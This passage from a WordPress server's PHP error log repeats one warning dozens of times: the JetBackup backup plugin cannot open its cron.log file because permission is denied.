/home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:09:51 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:10:03 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:10:13 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:10:21 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:10:32 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:10:42 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:10:53 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:11:05 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:11:19 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:11:25 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:11:34 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:11:48 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:11:56 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:12:13 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:12:15 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:12:27 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:12:36 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:12:44 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:13:06 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:13:18 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:13:19 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:13:26 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:13:33 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:14:08 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:15:11 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:16:08 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:17:08 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:17:39 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:17:54 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:18:07 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:18:16 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:18:23 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:18:30 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:18:49 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:18:59 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:19:13 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:19:24 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:19:31 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:19:39 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:19:49 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:20:03 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:20:14 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:20:23 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:20:34 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:20:46 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:21:15 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:22:09 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:23:12 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:23:13 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:23:20 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:23:34 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:23:43 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:23:53 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:24:01 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:24:11 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:24:23 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:24:31 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:24:40 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:24:57 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:25:11 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:25:24 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:25:30 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:25:42 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:25:53 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:26:09 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:27:14 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:27:48 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:27:58 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:28:18 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:28:23 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:28:33 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:28:37 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:28:44 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:28:54 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:29:10 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:29:25 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:29:39 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:30:10 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:30:35 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:30:36 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:30:42 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:30:49 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:30:53 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:31:08 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:31:09 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:31:13 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:31:16 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:31:19 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:31:24 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:32:07 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 21:33:08 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:12:18 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:12:27 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:12:36 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:12:46 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:12:56 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 15:13:07 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 